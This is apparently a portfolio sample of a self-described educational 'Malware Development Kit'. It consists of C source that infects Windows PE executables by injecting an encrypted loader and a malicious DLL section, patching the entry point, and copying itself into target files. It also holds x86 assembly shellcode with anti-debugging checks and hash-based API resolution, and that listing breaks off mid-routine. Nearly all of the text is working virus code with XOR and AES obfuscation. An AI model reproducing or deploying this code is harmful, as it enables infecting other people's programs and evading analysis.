-VERTRAULICH- Arbeitsprobe MDK

Toni Uhlig

April 4, 2017

Abstract

An educational [M]alware [D]evelopment [K]it.

1 source code (parts)

pe_infect.c

```
/*
 * Module:  pe_infect.c
 * Author:  Toni <matzeton@googlemail.com>
 * Purpose: Parses/Modifies a windows portable executable.
 *          Add sections, do image rebasing.
 *          Inject data into sections.
 */

#include <windows.h>

#include "utils.h"
#include "compat.h"
#include "log.h"
#include "pe_infect.h"
#include "mem.h"
#include "file.h"
#include "aes.h"
#include "patch.h"


static DWORD sectionAdr = 0x0;

/* default dll image base */
#ifndef _MILLER_IMAGEBASE
#define _MILLER_IMAGEBASE 0x10000000
#endif
static DWORD imageBase = _MILLER_IMAGEBASE;
static DWORD imageSize = 0x0;

#include "xor_strings_gen.h"
/* XOR encrypted strings */
_XORDATA_(dllsection, DLLSECTION);
_XORDATA_(ldrsection, LDRSECTION);

#include "aes_strings_gen.h"
#include "loader_x86_crypt.h"
```

```
/* AES encrypted byte buffer */
_AESDATA_(ldrdata, LOADER_SHELLCODE);
_AESSIZE_(ldrsiz, ldrdata);

static SIZE_T real_ldrsiz = LOADER_SHELLCODE_SIZE;


inline void setImageBase(DWORD newBase) {
    imageBase = newBase;
}

inline DWORD getImageBase(void) {
    return imageBase;
}

inline void setImageSize(DWORD newSize) {
    imageSize = newSize;
}

inline DWORD getImageSize(void) {
    return imageSize;
}

inline void setSectionAdr(DWORD newAdr) {
    sectionAdr = newAdr;
}

inline DWORD getSectionAdr(void) {
    return sectionAdr;
}

BYTE* getLoader(SIZE_T* pSiz)
{
    aes_ctx_t* ctx = aes_alloc_ctx((unsigned char*)LDR_KEY, LDR_KEYSIZ);
    BYTE* ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdata, (size_t)ldrsiz, (size_t
        *)pSiz, FALSE);
    aes_free_ctx(ctx);
    return ldr;
}

SIZE_T getRealLoaderSize(void)
{
    return real_ldrsiz;
}

inline BYTE* PtrFromOffset(BYTE* base, DWORD offset) {
    return ((BYTE*)base) + offset;
}

DWORD RvaToOffset(struct ParsedPE* ppPtr, DWORD dwRva)
{
    PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection;
    DWORD nSections = ppPtr->hdrFile->NumberOfSections;
    DWORD dwPos = 0;
```

```
    for (SIZE_T i = 0; i < nSections; ++i) {
        if (dwRva >= sections[i].VirtualAddress) {
           dwPos  = sections[i].VirtualAddress;
           dwPos += sections[i].SizeOfRawData;
        }
        if (dwRva < dwPos) {
          dwRva = dwRva - sections[i].VirtualAddress;
          return dwRva + sections[i].PointerToRawData;
        }
    }
    return -1;
}

inline BYTE* RvaToPtr(struct ParsedPE* ppPtr, DWORD dwRva)
{
    return PtrFromOffset(ppPtr->ptrToBuf, RvaToOffset(ppPtr, dwRva));
}

DWORD OffsetToRva(struct ParsedPE* ppPtr, DWORD offset)
{
    if (ppPtr->hdrFile->NumberOfSections <= 0 || ppPtr->hdrOptional->
       SizeOfHeaders > offset)
        return -1;
    PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection;
    DWORD nSections = ppPtr->hdrFile->NumberOfSections;
    DWORD dwPos = sections[0].VirtualAddress + (offset - sections[0].
       PointerToRawData);

    for (SIZE_T i = 0; i < nSections; ++i) {
        if (offset < sections[i].PointerToRawData) {
            break;
        }
        dwPos = sections[i].VirtualAddress + (offset - sections[i].
           PointerToRawData);
    }
    return dwPos + ppPtr->hdrOptional->ImageBase;
}

inline DWORD PtrToOffset(struct ParsedPE* ppPtr, BYTE* ptr)
{
    DWORD dwRva = (DWORD)ptr - (DWORD)ppPtr->ptrToBuf;
    return dwRva;
}

DWORD PtrToRva(struct ParsedPE* ppPtr, BYTE* ptr)
{
    return OffsetToRva(ppPtr, PtrToOffset(ppPtr, ptr));
}

BOOL bParsePE(BYTE* buf, const DWORD szBuf, struct ParsedPE* ppPtr, BOOL
   earlyStage)
{
    ppPtr->valid = FALSE;
```

```
    /* check minimum size */
    if (szBuf < sizeof(IMAGE_DOS_HEADER)+sizeof(IMAGE_FILE_HEADER)+sizeof(
       IMAGE_OPTIONAL_HEADER)+sizeof(IMAGE_SECTION_HEADER))
        return FALSE;
    ppPtr->ptrToBuf = buf;
    ppPtr->bufSiz = szBuf;
    ppPtr->hdrDos       = (PIMAGE_DOS_HEADER)buf;
    if (ppPtr->hdrDos->e_magic != IMAGE_DOS_SIGNATURE) /* MZ */
        return FALSE;
    ppPtr->hdrFile      = (PIMAGE_FILE_HEADER)(buf + ppPtr->hdrDos->e_lfanew +
       sizeof(DWORD));
    ppPtr->hdrOptional  = (PIMAGE_OPTIONAL_HEADER)(buf + ppPtr->hdrDos->e_lfanew
        + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER));
    if (ppPtr->hdrOptional->Magic != 0x010b) /* PE32 */
        return FALSE;
    if (ppPtr->hdrFile->Machine !=0x014C) /* i386 */
        return FALSE;
    ppPtr->hdrSection   = (PIMAGE_SECTION_HEADER)(buf + ppPtr->hdrDos->e_lfanew
       + sizeof(IMAGE_NT_HEADERS));
    ppPtr->dataDir = (PIMAGE_DATA_DIRECTORY)ppPtr->hdrOptional->DataDirectory;
    ppPtr->valid = TRUE;

    /* during initial image rebasing, dont execute stuff which needs a rebased
       image */
    if (!earlyStage) {
        ppPtr->hasDLL = FALSE;
        ppPtr->hasLdr = FALSE;
        /* pointer to dll section */
        STATIC_STR(dllsection);
        if ( (ppPtr->ptrToDLL = pGetSegmentAdr((char*)dllsection, TRUE, ppPtr,
           &(ppPtr->sizOfDLL))) != NULL )
            ppPtr->hasDLL = TRUE;
        STATIC_STR(dllsection);
        /* pointer to loader section */
        STATIC_STR(ldrsection);
        if ( (ppPtr->ptrToLdr = pGetSegmentAdr((char*)ldrsection, TRUE, ppPtr,
           &(ppPtr->sizOfLdr))) != NULL ) {
            ppPtr->loader86 = (loader_x86_data*)(ppPtr->ptrToLdr +
               getRealLoaderSize() - sizeof(struct loader_x86_data));
            ppPtr->hasLdr = TRUE;
        }
        STATIC_STR(ldrsection);
    }
    return TRUE;
}

BOOL bAddSection(const char *sName, BYTE *sectionContentBuf, SIZE_T szSection,
   BOOL executable, struct ParsedPE *ppPtr)
{
    /* Peering Inside the PE: https://msdn.microsoft.com/en-us/library/ms809762.
       aspx */

    /* enough header space avail? */
    if (ppPtr->hdrOptional->SizeOfHeaders < (ppPtr->hdrDos->e_lfanew + sizeof(
```

```
    DWORD) +
         sizeof(IMAGE_FILE_HEADER) + ppPtr->hdrFile->SizeOfOptionalHeader +
         (ppPtr->hdrFile->NumberOfSections*sizeof(IMAGE_SECTION_HEADER))+
            sizeof(IMAGE_SECTION_HEADER)))
{
    return FALSE;
}

/* Read the original fields of headers */
DWORD originalNumberOfSections = ppPtr->hdrFile->NumberOfSections;
/* Create the new section */
DWORD pointerToLastSection = 0;
DWORD sizeOfLastSection = 0;
DWORD virtualAddressOfLastSection = 0;
DWORD virtualSizeOfLastSection = 0;

for(SIZE_T i = 0; i != originalNumberOfSections; ++i)
{
    if (pointerToLastSection < ppPtr->hdrSection[i].PointerToRawData)
    {
        /* section alrdy exists? */
        if ( strncmp((const char*)ppPtr->hdrSection[i].Name, sName,
            IMAGE_SIZEOF_SHORT_NAME) == 0)
             return FALSE;
        pointerToLastSection        = ppPtr->hdrSection[i].PointerToRawData;
        sizeOfLastSection           = ppPtr->hdrSection[i].SizeOfRawData;
        virtualAddressOfLastSection = ppPtr->hdrSection[i].VirtualAddress;
        virtualSizeOfLastSection    = ppPtr->hdrSection[i].Misc.VirtualSize;
    }
}
/* if a symbol table (debug info) is present, pointerToLastSection might be
    wrong */
/* symbol table is usually stored _after_ the last section and retrieved via
     IMAGE_FILE_HEADER.PointerToSymbolTable */
if (ppPtr->bufSiz > pointerToLastSection + sizeOfLastSection)
{
    pointerToLastSection = ppPtr->bufSiz;
    sizeOfLastSection = 0;
}

/* set new section header data */
IMAGE_SECTION_HEADER newImageSectionHeader;
memset(&newImageSectionHeader, '\0', sizeof(IMAGE_SECTION_HEADER));
newImageSectionHeader.Misc.VirtualSize     = szSection;
memcpy(&newImageSectionHeader.Name, sName, strnlen(sName, sizeof(
    newImageSectionHeader.Name)));
newImageSectionHeader.PointerToRawData     = pointerToLastSection +
    sizeOfLastSection;
newImageSectionHeader.PointerToRelocations = 0;
newImageSectionHeader.SizeOfRawData        = XMemAlign(szSection, ppPtr->
    hdrOptional->FileAlignment, 0); /* aligned to FileAlignment */
newImageSectionHeader.VirtualAddress       = XMemAlign(
    virtualSizeOfLastSection, ppPtr->hdrOptional->SectionAlignment,
    virtualAddressOfLastSection); /* aligned to Section Alignment */
```

```
    /* Loader is usually stored in an executable section, DLL in a readonly
       section.
     * The Loader does not execute code directly from section.
     * (see loader source for detailed info)
     */
    newImageSectionHeader.Characteristics      = (executable == TRUE ?
       IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE : IMAGE_SCN_MEM_READ);

    /* update FILE && OPTIONAL header */
    ++ppPtr->hdrFile->NumberOfSections;
    ppPtr->hdrOptional->SizeOfImage = XMemAlign(newImageSectionHeader.
       VirtualAddress + newImageSectionHeader.Misc.VirtualSize, ppPtr->
       hdrOptional->SectionAlignment, 0);

    /* (re)allocate memory for _full_ pe image (including all headers, new
       section and section data) */
    if (!(ppPtr->ptrToBuf = XReallocAbs(ppPtr->ptrToBuf, ppPtr->bufSiz, ppPtr->
       hdrOptional->SizeOfImage)))
        return FALSE;

    /* if everything is gone right, parsing should succeed */
    if (!bParsePE(ppPtr->ptrToBuf, ppPtr->hdrOptional->SizeOfImage, ppPtr, FALSE
       ))
    {
        return FALSE;
    }

    /* copy new section header */
    memcpy(&ppPtr->hdrSection[ppPtr->hdrFile->NumberOfSections-1], &
       newImageSectionHeader, sizeof(IMAGE_SECTION_HEADER));
    /* copy new section data */
    memcpy(ppPtr->ptrToBuf+newImageSectionHeader.PointerToRawData,
       sectionContentBuf, szSection);

    return TRUE;
}

static BOOL bFindMyself(struct ParsedPE* ppe, DWORD* pDwBase, DWORD* pDwSize)
{
    SIZE_T siz = 0x0;
    DWORD startAdr = 0x0;

    /* Am I already in an infected binary? */
    if (ppe->hasDLL) {
        startAdr = (DWORD)ppe->ptrToDLL;
        siz = ppe->sizOfDLL;
    }
    /* dirty workaround e.g. when started from rundll.exe */
    if (!startAdr) {
        startAdr = getSectionAdr();
    }
    if (!siz) {
        siz = getImageSize();
    }
```

```
    /* check dwBase for valid memory region */
    if (startAdr)
    {
        *pDwBase = startAdr;
        *pDwSize = siz;
        if (_IsBadReadPtr((void*)startAdr, siz) == TRUE)
        {
            *pDwBase = 0x0;
            *pDwSize = 0x0;
            LOG_MARKER
        } else return TRUE;
    } else LOG_MARKER
    return FALSE;
}

static struct ParsedPE*
pParsePE(BYTE* buf, SIZE_T szBuf)
{
    struct ParsedPE* ppe = calloc(1, sizeof(struct ParsedPE));

    if (!ppe)
    {
        return NULL;
    }
    if (bParsePE(buf, szBuf, ppe, FALSE))
    {
        return ppe;
    }
    free(ppe);
    return NULL;
}

static BOOL bInfectMemWith(BYTE* maliciousBuf, SIZE_T maliciousSiz, struct
   ParsedPE* ppe)
{
    BOOL ret = FALSE;

    if (ppe)
    {
        if (bIsInfected(ppe)) {
            LOG_MARKER
        } else {
            STATIC_STR(dllsection);
            if (bAddSection((char*)dllsection, maliciousBuf, maliciousSiz, FALSE
                , ppe))
            {
                ret = TRUE;
            } else LOG_MARKER
            STATIC_STR(dllsection);

            STATIC_STR(ldrsection);
            SIZE_T lsiz = 0;
            BYTE* l     = getLoader(&lsiz);
            if (l && bAddSection((char*)ldrsection, l, lsiz, TRUE, ppe))
```

```
            {
                ret = TRUE;
            } else LOG_MARKER;
            if (l) free(l);
            STATIC_STR(ldrsection);

            if (ret) {
                ret = bParsePE(ppe->ptrToBuf, ppe->bufSiz, ppe, FALSE);
            }
        }
    }
    else
    {
        LOG_MARKER
    }
    return ret;
}

BOOL bInfectFileWith(const char* sFile, BYTE* maliciousBuf, SIZE_T maliciousSiz)
{
    BOOL ret = FALSE;
    BYTE* buf;
    SIZE_T szBuf;
    HANDLE hFile;

    if (!bOpenFile(sFile, FALSE, &hFile)) {
        LOG_MARKER
        return ret;
    }
    if (!bFileToBuf(hFile, &buf, &szBuf))
    {
        LOG_MARKER
        _CloseHandle(hFile);
        return ret;
    }
    struct ParsedPE* ppe = pParsePE(buf, szBuf);
    if (ppe)
    {
        if (bInfectMemWith(maliciousBuf, maliciousSiz, ppe))
        {
            if (bPatchNearEntry(ppe))
            {
                if (bBufToFile(hFile, ppe->ptrToBuf, ppe->bufSiz))
                {
                    if (!bIsInfected(ppe))
                    {
                        LOG_MARKER
                    } else {
                        ret = TRUE;
                    }
                }
            } else {
                LOG_MARKER
            }
```

```
        }
        free(ppe);
    } else LOG_MARKER;
    free(buf);
    _CloseHandle(hFile);
    return ret;
}

BOOL bInfectWithMyself(const char* sFile)
{
    BOOL ret = FALSE;
    BYTE* buf = NULL;
    SIZE_T szBuf;
    LPTSTR sFileMyself = calloc(sizeof(TCHAR), MAX_PATH+1);
    HANDLE hMyself;
    struct ParsedPE* ppe = NULL;

    if (!sFileMyself)
    {
        LOG_MARKER
    } else if (_GetModuleFileName(NULL, sFileMyself, MAX_PATH) == 0)
    {
        LOG_MARKER
    } else if (!bOpenFile(sFileMyself, TRUE, &hMyself)) {
        LOG_MARKER
    } else if (!bFileToBuf(hMyself, &buf, &szBuf))
    {
        LOG_MARKER
    } else {
        ppe = pParsePE(buf, szBuf);
    }
    if (ppe)
    {
        /* find DLL (segment-)address and (segment-)size in current executable
           */
        DWORD dwBase = NULL;
        DWORD dwSize = 0x0;
        if (!bFindMyself(ppe, &dwBase, &dwSize))
        {
            LOG_MARKER
        } else {
            /* infect target executable (DLL and LOADER)
             * Remember: The Loader is always accessible by our DLL (AES
                encrypted).
             */
            if (bInfectFileWith(sFile, (BYTE*)dwBase, dwSize)) {
                ret = TRUE;
            } else { LOG_MARKER }
        }
        free(ppe);
    } else LOG_MARKER;
    if (buf)
        free(buf);
    _CloseHandle(hMyself);
```

```
    free(sFileMyself);
    return ret;
}

BOOL bIsInfected(struct ParsedPE* ppPtr)
{
    return (ppPtr->hasDLL && ppPtr->hasLdr);
}

void* pGetSegmentAdr(const char* sName, BOOL caseSensitive, struct ParsedPE*
   ppPtr, SIZE_T* pSegSiz)
{
    DWORD result = 0;
    DWORD sSize  = 0;

    if (!ppPtr->valid) return NULL;
    /* walk through sections and compare every name with sName */
    for (DWORD idx = 0; idx < ppPtr->hdrFile->NumberOfSections; ++idx)
    {
        PIMAGE_SECTION_HEADER sec = &ppPtr->hdrSection[idx];
        if ( (caseSensitive && strncmp(sName, (const char *)sec->Name,
           IMAGE_SIZEOF_SHORT_NAME) == 0)
                || strnicmp(sName, (const char *)sec->Name,
                   IMAGE_SIZEOF_SHORT_NAME) == 0)
        {
            result = RvaToOffset(ppPtr, sec->VirtualAddress);
            sSize = sec->Misc.VirtualSize;
            break;
        }
    }

    if (result != 0)
    {
        /* check for valid RVA */
        result += (DWORD)ppPtr->ptrToBuf;
        if (_IsBadReadPtr((void*)result, sSize))
        {
            result = 0;
        }
    }

    if (pSegSiz)
        *pSegSiz = sSize;
    return (void*)result;
}

BOOL bDoRebase(void* dllSectionAdr, SIZE_T dllSectionSiz, void* dllBaseAdr)
{
    struct ParsedPE ppe;


    if (!bParsePE(dllSectionAdr, dllSectionSiz, &ppe, TRUE))
        return FALSE;
```

```
    /* find symbol relocations (.reloc section) */
    DWORD dwBaseReloc = ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].
       VirtualAddress;
    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)RvaToPtr(&ppe,
       dwBaseReloc);
    PIMAGE_BASE_RELOCATION pRelocEnd = (PIMAGE_BASE_RELOCATION)((PBYTE)
       pBaseReloc + ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);

    /* We cant rely on getImageBase(), because variable imageBase might point to
        a faulty memory location. *
     * Rebasing is one of the first things to do!
     */
    DWORD dllImageBase = _MILLER_IMAGEBASE;
    DWORD dwDelta = (DWORD)dllBaseAdr - dllImageBase;

    /* walk through all relocation entries and add delta to every entry */
    while (pBaseReloc < pRelocEnd && pBaseReloc->VirtualAddress)
    {
        int count       = (pBaseReloc->SizeOfBlock - sizeof(
           IMAGE_BASE_RELOCATION)) / sizeof(WORD);
        WORD* wCurEntry = (WORD*)(pBaseReloc + 1);
        void *pPageVa   = (void *)((PBYTE)dllBaseAdr + pBaseReloc->
           VirtualAddress);

        for (int i = 0; i < count; i++)
        {
            if (wCurEntry[i] >> 12 == IMAGE_REL_BASED_HIGHLOW) {
                *(DWORD *)((PBYTE)pPageVa + (wCurEntry[i] & 0x0fff)) += dwDelta;
            }
        }
        pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->
           SizeOfBlock);
    }
    return TRUE;
}
```

loader_x86.asm

```
; Module:  loader_x86.asm
; Author:  Toni <matzeton@googlemail.com>
; Purpose: 1. get kernel32.dll base address
;          2. get required function ptr
;          3. allocate virtual memory (heap)
;          4. copy sections from dll
;          5. run minimal crt at AddressOfEntry

%ifndef _LDR_SECTION
%error "expected _LDR_SECTION to be defined"
%endif
SECTION _LDR_SECTION
GLOBAL __ldr_start

; const data offsets
ESI_PTRDLL      EQU        0x00    ; PtrToDLL
ESI_SIZDLL      EQU        0x04    ; SizeOfDLL
; STACK
STACKMEM        EQU        0x38    ; reserve memory on stack (main routine)
; stack offsets
OFF_STRRPTR     EQU        0x00    ; string 'IsBadReadPtr'
OFF_STRVALLOC   EQU        0x04    ; string 'VirtualAlloc'
OFF_KERNEL32    EQU        0x08    ; KERNEL32 base address
OFF_PROCADDR    EQU        0x0c    ; FuncPtrGetProcAddress
OFF_VALLOC      EQU        0x10    ; FuncPtrVirtualAlloc
OFF_BADRPTR     EQU        0x14    ; FuncPtrIsBadReadPtr
OFF_ADROFENTRY  EQU        0x18    ; AddressOfEntryPoint
OFF_IMAGEBASE   EQU        0x1c    ; DLL ImageBAse
OFF_SIZOFIMAGE  EQU        0x20    ; DLL SizeOfImage
OFF_SIZOFHEADR  EQU        0x24    ; DLL SizeOfHeaders
OFF_FSTSECTION  EQU        0x28    ; DLL FirstSection
OFF_NUMSECTION  EQU        0x2c    ; DLL NumberOfSections
OFF_VALLOCBUF   EQU        0x30    ; buffer from VirtualAlloc
; for vegetarians only
%define DEADBEEF           0xde,0xad,0xbe,0xef
%define CAFEBABE           0xca,0xfe,0xba,0xbe
%define DEADC0DE           0xde,0xad,0xc0,0xde


; safe jump (so we can jump to the start of our loader buffer later)
jmp near __ldr_start
db CAFEBABE
db 0x66,0x66,0x66,0x66          ; unused byte padding (0xCA is a valid opcode)

; Calculate a 32 bit hash from a string (non-case-sensitive)
; arguments: esi = ptr to string
;            ecx = bufsiz
; modifies : eax, edi
; return   : 32 bit hash value in edi
__ldr_calcStrHash:
  xor edi,edi
  __ldr_calcHash_loop:
```

```
  xor eax,eax
  lodsb                         ; read in the next byte of the name
  cmp al,'a'                    ; some versions of Windows use lower case module
      names
  jl __ldr_calcHash_not_lowercase
  sub al,0x20                   ; if so normalise to uppercase
  __ldr_calcHash_not_lowercase:
  ror edi,13                    ; rotate right our hash value
  add edi,eax                   ; add the next byte of the name to the hash
  loop __ldr_calcHash_loop
  ret


; Get base address of kernel32.dll (alternative way through PEB)
; arguments: -
; modifies : eax, ebx
; return   : base addres in eax
__ldr_getModuleHandleKernel32PEB:
  ; see http://www.rohitab.com/discuss/topic/38717-quick-tutorial-finding-
     kernel32-base-and-walking-its-export-table
  ; and http://www.rohitab.com/discuss/topic/35251-3-ways-to-get-address-base-
     kernel32-from-peb
  mov eax,[fs:0x30]                 ; PEB
%ifndef _DEBUG
  ; check if we ware beeing debugged
  xor ebx,ebx
  mov bl,[eax + 0x2]                ; BeeingDebugged
  test bl,bl
  jnz __ldr_getModuleHandleKernel32PEB_fail
  ; PEB NtGlobalFlag == 0x70 ?
  ; see http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet
  xor ebx,ebx
  mov bl,[eax + 0x68]
  cmp bl,0x70
  je __ldr_getModuleHandleKernel32PEB_fail
%endif
  mov eax,[eax+0x0c]                ; PEB->Ldr
  mov eax,[eax+0x14]                ; PEB->Ldr.InMemoryOrderModuleList.Flink (1
     st entry)
  mov ebx,eax
  xor ecx,ecx
  __ldr_getModuleHandleKernel32PEB_loop:
  pushad
  mov esi,[ebx+0x28]                ; Flink.ModuleName (16bit UNICODE)
  mov ecx,0x18                      ; max module length: 24 -> len('
     kernel32.dll')*2
  call __ldr_calcStrHash
  cmp edi,0x6A4ABC5B                ; pre calculated module name hash of '
     kernel32.dll'
  popad
  mov ecx,[ebx+0x10]                ; get base address
  mov ebx,[ebx]
  jne __ldr_getModuleHandleKernel32PEB_loop
  mov eax,ecx
```

```
  ret
  __ldr_getModuleHandleKernel32PEB_fail:
  xor eax,eax
  ret


; Get Address of GetProcAddress from module export directory
; arguments: eax = kernel32 base address
; modifies : eax, ebx, ecx, edi, edx, esi
; return   : eax
__ldr_getAdrOfGetProcAddress:
  mov ebx,eax
  add ebx,[eax+0x3c]                ; PE header
  mov ebx,[ebx+0x78]                ; RVA export directory
  add ebx,eax
  mov esi,[ebx+0x20]                ; RVA Export Number Table
  add esi,eax                       ; VA of ENT
  mov edx,eax                       ; remember kernel base
  xor ecx,ecx
  __ldr_getAdrOfGetProcAddress_loop:
    inc ecx
    lodsd                           ; load dword from esi into eax
    add eax,edx                     ; add kernel base
    pushad
    mov esi,eax                     ; string
    mov ecx,14                      ; len('GetProcAddress')
    call __ldr_calcStrHash
    cmp edi,0x1ACAEE7A              ; pre calculated hash of 'GetProcAddress'
    popad
    jne __ldr_getAdrOfGetProcAddress_loop
  dec ecx
  mov edi,ebx
  mov edi,[edi+0x24]                ; RVA of Export Ordinal Table
  add edi,edx                       ; VA of EOT
  movzx edi,word [ecx*2+edi]        ; ordinal to function
  mov eax,ebx
  mov eax,[eax+0x1c]                ; RVA of Export Address Table
  add eax,edx                       ; VA of EAT
  mov eax,[edi*4+eax]               ; RVA of GetProcAddress
  add eax,edx                       ; VA of GetProcAddress
  ret


; Get function pointer by function name
; arguments: ebx = base address of module
;            ecx = string pointer to function name
; modifies : eax
; return   : address in eax
__ldr_getProcAddress:
  mov eax,[ebp + OFF_PROCADDR]          ; ptr to GetProcAddress(...)
  push ecx
  push ebx
  call eax
  ret
```

```
; Check if pointer is readable
; arguments: ebx = pointer
;            ecx = size
; modifies : eax
; return   : [0,1] in eax
__ldr_isBadReadPtr:
  push ecx
  push ebx
  mov eax,[ebp + OFF_BADRPTR] ; PtrIsBadReadPtr
  call eax
  ret


; Allocate virtual memory in our current process space
; arguments: ebx = preffered address
;            ecx = size of memory block
; modifies : eax
; return   : ptr in eax
__ldr_VirtualAlloc:
  push ecx            ; save size for a possible second call to VirtualAlloc(...
     )
  push dword 0x40     ; PAGE_EXECUTE_READWRITE
  push dword 0x3000   ; MEM_RESERVE | MEM_COMMIT
  push ecx
  push ebx
  mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc
  call eax
  test eax,eax
  pop ecx
  jnz __ldr_VirtualAlloc_success
  ; base address already taken
  push dword 0x40     ; PAGE_EXECUTE_READWRITE
  push dword 0x3000   ; MEM_RESERVE | MEM_COMMIT
  push ecx
  xor eax,eax
  push eax
  mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc
  call eax
  __ldr_VirtualAlloc_success:
  ret


; Read DLL PE header from memory
; arguments: ebx = ptr to memory
; modifies : eax, ecx, edx
; return   : [0,1] in eax
__ldr_ReadPE:
  ; check dos magic number
  xor ecx,ecx
  mov cx,[ebx]
  cmp cx,0x5a4d                    ; Magic number (DOS-HEADER)
  jne near __ldr_ReadPE_fail
```

```
; e_lfanew
mov ecx,ebx
add ecx,0x3c                        ; OFFSET: e_lfanew
mov eax,[ecx]                       ; e_lfanew
add eax,ebx                         ; [e_lfanew + ptr] = NT-HEADER
mov ecx,eax                         ; *** save NT-HEADER in ECX ***
; check pe magic number
xor eax,eax
mov eax,[ecx]
cmp ax,0x4550                       ; 'EP' -> 'PE'
jne __ldr_ReadPE_fail
; check opt header magic
mov eax,ecx
add eax,0x18                        ; [NT-HEADER + 0x18] = opt header magic
mov edx,eax
xor eax,eax
mov ax,[edx]
cmp ax,0x010b                       ; 0x010b = PE32
jne short __ldr_ReadPE_fail
; entry point VA
mov eax,ecx
add eax,0x28
mov eax,[eax]
mov [ebp + OFF_ADROFENTRY],eax
; get image base && image size
mov eax,ecx
add eax,0x34                        ; [NT-HEADER + 0x34] = ImageBase
mov eax,[eax]
test eax,eax                        ; check if ImageBase is not NULL
jz short __ldr_ReadPE_fail
mov [ebp + OFF_IMAGEBASE], eax
mov eax,ecx
add eax,0x50                        ; [NT-HEADER + 0x50] = SizeOfImage
mov eax,[eax]
test eax,eax
jz short __ldr_ReadPE_fail          ; check if ImageSize is not zero
mov [ebp + OFF_SIZOFIMAGE], eax
; get size of headers
mov eax,ecx
add eax,0x54                        ; [NT-HEADER + 0x54] = SizeOfHeaders
mov eax,[eax]
test eax,eax
jz short __ldr_ReadPE_fail
mov [ebp + OFF_SIZOFHEADR], eax
; get number of sections
mov edx,ecx
add edx,0x6                         ; [NT-HEADER + 0x8] = NumberOfSections
xor eax,eax
mov ax,[edx]
test eax,eax
jz short __ldr_ReadPE_fail
mov [ebp + OFF_NUMSECTION], eax
; get ptr to first section
mov edx,ecx
```

```
  add edx,0x14                          ; [NT-HEADER + 0x14] = SizeOfOptionalHeaders
  xor eax,eax
  mov ax,[edx]
  mov edx,eax
  mov eax,ecx
  add eax,0x18
  add eax,edx                           ; [NT-HEADER + 0x18 + SizeOfOptionalHeaders]
     = FirstSection
  mov [ebp + OFF_FSTSECTION], eax
  ; return true
  mov eax,1
  ret
  __ldr_ReadPE_fail:
  xor eax,eax
  ret


; Copies n bytes memory from source to dest
; arguments: ebx = dest
;            ecx = size
;            edx = source
; modifies : eax, edi
; return   : eax
__ldr_memcpy:
  xor edi,edi
  xor eax,eax
  __ldr_memcpy_loop0:
  mov al,[edx + edi]
  mov [ebx + edi],al
  inc edi
  loop __ldr_memcpy_loop0
  ret


__ldr_start:
  ; new stack frame
  push ebp
  ; save gpr+flag regs
  pushad
  pushfd
  ; GET POINTER TO CONST DATA
  jmp near __ldr_ConstData
  __ldr_gotConstData:
  pop esi                               ; pointer to const data in ESI
  ; RESERVE STACK memory
  sub esp, STACKMEM
  mov ebp, esp                          ; backup ptr for subroutines

  call __ldr_getModuleHandleKernel32PEB ; module handle in eax
  mov [ebp + OFF_KERNEL32],eax
  test eax,eax                          ; check if module handle is not NULL
  jz __ldr_end
  push esi
  call __ldr_getAdrOfGetProcAddress     ; adr of GetProcAddress in eax
```

```
mov [ebp + OFF_PROCADDR],eax
pop esi

jmp short _string_VirtualAlloc
_got_VirtualAlloc:
  pop eax
  mov [ebp + OFF_STRVALLOC],eax
  jmp short _string_IsBadReadPtr
_got_IsBadReadPtr:
  pop eax
  mov [ebp + OFF_STRRPTR],eax
  jmp _strings_done
; strings
_string_VirtualAlloc:
  call _got_VirtualAlloc
  db 'VirtualAlloc',0x00
_string_IsBadReadPtr:
  call _got_IsBadReadPtr
  db 'IsBadReadPtr',0x00
  ; unused byte padding (we are reading data from code section)
  db 0x90,0x90,0x90,0x90,0x90

_strings_done:

; *** STACK LAYOUT ***
;        [ebp]  = 'IsBadReadPtr'   | [ebp + 0x4]  = 'VirtualAlloc'
;  [ebp + 0x8]  = Kernel32Base     | [ebp + 0xc]  = PtrGetProcAddress
;  [ebp + 0x10] = PtrVirtualAlloc  | [ebp + 0x14] = PtrIsBadReadPtr
;  [ebp + 0x18] = NT-HEADER        | [ebp + 0x1c] = AddressOfEntryPoint
;  [ebp + 0x20] = ImageBase        | [ebp + 0x24] = SizeOfImage
;  [ebp + 0x28] = SizeOfHeaders    | [ebp + 0x2c] = FirstSection
;  [ebp + 0x30] = NumberOfSections | [ebp + 0x34] = vallocBuf
;  [ebp + 0x38] = needBaseReloc

; GetProcAddress(KERNEL32BASE, 'VirtualAlloc')
mov ebx, [ebp + OFF_KERNEL32]      ; KERNEL32BASE
mov ecx, [ebp + OFF_STRVALLOC]
call __ldr_getProcAddress          ; eax holds function pointer of
   VirtualAlloc
mov [ebp + OFF_VALLOC], eax
; GetProcAddress(KERNEL32BASE, 'IsBadReadPtr')
mov ecx, [ebp + OFF_STRRPTR]
call __ldr_getProcAddress          ; eax holds function pointer of
   IsBadReadPtr
mov [ebp + OFF_BADRPTR], eax
; check if malware dll pointer is valid
mov ebx, [esi + ESI_PTRDLL]
mov ecx, [esi + ESI_SIZDLL]
call __ldr_isBadReadPtr
test eax,eax
jnz __ldr_end
; read dll pe header (ebx = PtrToDLL)
call __ldr_ReadPE
cmp al,0x1
```

```
  jne __ldr_end
  ; VirtualAlloc(...)
  mov ebx,[ebp + OFF_IMAGEBASE]       ; ImageBase (MALWARE-DLL)
  mov ecx,[ebp + OFF_SIZOFIMAGE]      ; SizeOfImage (MALWARE-DLL)
  call __ldr_VirtualAlloc             ; eax holds pointer to allocated memory
  test eax,eax
  jz __ldr_end
  mov [ebp + OFF_VALLOCBUF],eax
  ; copy header
  mov ebx,eax                         ; dest
  mov ecx,[ebp + OFF_SIZOFHEADR]      ; size
  mov edx,[esi + ESI_PTRDLL]          ; src
  call __ldr_memcpy
  ; copy sections
  mov ecx,[ebp + OFF_NUMSECTION]
  mov ebx,[ebp + OFF_FSTSECTION]
  __ldr_section_copy:
  mov edx,ebx
